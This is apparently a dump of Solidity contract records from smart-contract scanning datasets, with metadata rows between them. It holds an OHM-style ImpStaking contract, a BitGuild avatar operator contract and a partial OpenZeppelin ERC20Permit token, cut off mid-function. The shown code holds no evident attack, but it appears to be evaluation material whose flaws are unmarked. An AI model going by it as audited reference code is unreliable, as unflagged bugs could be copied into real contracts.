// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, 'Address: low-level static call failed');
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), 'Address: static call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), 'Address: delegate call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns (string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = '0123456789abcdef';
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, 'Ownable: zero address');
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, 'Ownable: caller != pending owner');
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, 'Ownable: caller is not the owner');
_;
}
}
interface IStakedImpERC20Token is IERC20 {
function rebase(uint256 ohmProfit_, uint256 epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint256 amount) external view returns (uint256);
function balanceForGons(uint256 gons) external view returns (uint256);
function index() external view returns (uint256);
}
interface IWarmup {
function retrieve(address staker_, uint256 amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract ImpStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IStakedImpERC20Token;
IERC20 public immutable IMP;
IStakedImpERC20Token public immutable sIMP;
struct Epoch {
uint256 number;
uint256 distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint256 public totalBonus;
IWarmup public warmupContract;
uint256 public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 SIMPAmount, uint256 IMPAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint256 period);
constructor(address _IMP,
address _SIMP,
uint32 _epochLength,
uint256 _firstEpochNumber,
uint32 _firstEpochTime) {
require(_IMP != address(0));
IMP = IERC20(_IMP);
require(_SIMP != address(0));
sIMP = IStakedImpERC20Token(_SIMP);
epoch = Epoch({length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 15000000});//0.03 a, nous on veut 15 au lancement donc 15000000000
}
struct Claim {
uint256 deposit;
uint256 gons;
uint256 expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint256 _amount, address _recipient) external returns (bool) {
rebase();
IMP.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[_recipient];
require(!info.lock, 'Deposits for account are locked');
warmupInfo[_recipient] = Claim({deposit: info.deposit.add(_amount), gons: info.gons.add(sIMP.gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false});
sIMP.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim(address _recipient) external {
Claim memory info = warmupInfo[_recipient];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[_recipient];
uint256 amount = sIMP.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[msg.sender];
delete warmupInfo[msg.sender];
uint256 SIMPBalance = sIMP.balanceForGons(info.gons);
warmupContract.retrieve(address(this), SIMPBalance);
IMP.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, SIMPBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[msg.sender].lock = !warmupInfo[msg.sender].lock;
emit LogDepositLock(msg.sender, warmupInfo[msg.sender].lock);
}
function unstake(uint256 _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sIMP.safeTransferFrom(msg.sender, address(this), _amount);
IMP.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint256) {
return sIMP.index();
}
function rebase() public {
if (epoch.endTime <= uint32(block.timestamp)) {
sIMP.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint256 balance = contractBalance();
uint256 staked = sIMP.circulatingSupply();
if (balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint256) {
return IMP.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS {
DISTRIBUTOR,
WARMUP
}
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if (_contract == CONTRACTS.DISTRIBUTOR) {
// 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) {
// 1
require(address(warmupContract) == address(0), 'Warmup cannot be set more than once');
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint256 _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 316,784 | 12,740 |
31228c55824a613c31bcb4b74998890f48c9bffe28b53a775ce73bd72ea45946
| 11,217 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xbead01bd984640959f840ff9b4fce44451c1ff91.sol
| 2,666 | 10,432 |
pragma solidity ^0.4.24;
interface ERC721 {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface AvatarService {
function updateAvatarInfo(address _owner, uint256 _tokenId, string _name, uint256 _dna) external;
function createAvatar(address _owner, string _name, uint256 _dna) external returns(uint256);
function getMountTokenIds(address _owner,uint256 _tokenId, address _avatarItemAddress) external view returns(uint256[]);
function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna);
function getOwnedTokenIds(address _owner) external view returns(uint256[] _tokenIds);
}
contract BitGuildAccessAdmin {
address public owner;
address[] public operators;
uint public MAX_OPS = 20; // Default maximum number of operators allowed
mapping(address => bool) public isOperator;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
event OperatorAdded(address operator);
event OperatorRemoved(address operator);
// @dev The BitGuildAccessAdmin constructor: sets owner to the sender account
constructor() public {
owner = msg.sender;
}
// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// @dev Throws if called by any non-operator account. Owner has all ops rights.
modifier onlyOperator {
require(isOperator[msg.sender] || msg.sender == owner,
"Permission denied. Must be an operator or the owner.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0),
"Invalid new owner address.");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function addOperator(address _newOperator) public onlyOwner {
require(_newOperator != address(0),
"Invalid new operator address.");
// Make sure no dups
require(!isOperator[_newOperator],
"New operator exists.");
// Only allow so many ops
require(operators.length < MAX_OPS,
"Overflow.");
operators.push(_newOperator);
isOperator[_newOperator] = true;
emit OperatorAdded(_newOperator);
}
function removeOperator(address _operator) public onlyOwner {
// Make sure operators array is not empty
require(operators.length > 0,
"No operator.");
// Make sure the operator exists
require(isOperator[_operator],
"Not an operator.");
// Manual array manipulation:
// - replace the _operator with last operator in array
// - remove the last item from array
address lastOperator = operators[operators.length - 1];
for (uint i = 0; i < operators.length; i++) {
if (operators[i] == _operator) {
operators[i] = lastOperator;
}
}
operators.length -= 1; // remove the last element
isOperator[_operator] = false;
emit OperatorRemoved(_operator);
}
// @dev Remove ALL operators
function removeAllOps() public onlyOwner {
for (uint i = 0; i < operators.length; i++) {
isOperator[operators[i]] = false;
}
operators.length = 0;
}
}
contract AvatarOperator is BitGuildAccessAdmin {
// every user can own avatar count
uint8 public PER_USER_MAX_AVATAR_COUNT = 1;
event AvatarCreateSuccess(address indexed _owner, uint256 tokenId);
AvatarService internal avatarService;
address internal avatarAddress;
modifier nameValid(string _name){
bytes memory nameBytes = bytes(_name);
require(nameBytes.length > 0);
require(nameBytes.length < 16);
for(uint8 i = 0; i < nameBytes.length; ++i) {
uint8 asc = uint8(nameBytes[i]);
require (asc == 95 || (asc >= 48 && asc <= 57) || (asc >= 65 && asc <= 90) || (asc >= 97 && asc <= 122), "Invalid name");
}
_;
}
function setMaxAvatarNumber(uint8 _maxNumber) external onlyOwner {
PER_USER_MAX_AVATAR_COUNT = _maxNumber;
}
function injectAvatarService(address _addr) external onlyOwner {
avatarService = AvatarService(_addr);
avatarAddress = _addr;
}
function updateAvatarInfo(uint256 _tokenId, string _name, uint256 _dna) external nameValid(_name){
avatarService.updateAvatarInfo(msg.sender, _tokenId, _name, _dna);
}
function createAvatar(string _name, uint256 _dna) external nameValid(_name) returns (uint256 _tokenId){
require(ERC721(avatarAddress).balanceOf(msg.sender) < PER_USER_MAX_AVATAR_COUNT);
_tokenId = avatarService.createAvatar(msg.sender, _name, _dna);
emit AvatarCreateSuccess(msg.sender, _tokenId);
}
function getMountTokenIds(uint256 _tokenId, address _avatarItemAddress) external view returns(uint256[]){
return avatarService.getMountTokenIds(msg.sender, _tokenId, _avatarItemAddress);
}
function getAvatarInfo(uint256 _tokenId) external view returns (string _name, uint256 _dna) {
return avatarService.getAvatarInfo(_tokenId);
}
function getOwnedTokenIds() external view returns(uint256[] _tokenIds) {
return avatarService.getOwnedTokenIds(msg.sender);
}
}
| 180,264 | 12,741 |
f89f39b9268f6a28e8c27434ccd7db6cd5f505c9cf3986a7b5de48936dd4ce00
| 42,954 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/93/9377fa9cfee56bc5b9c4b3639005e2f78868f819_CRED.sol
| 5,169 | 19,832 |
pragma solidity 0.8.4;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
library Counters {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
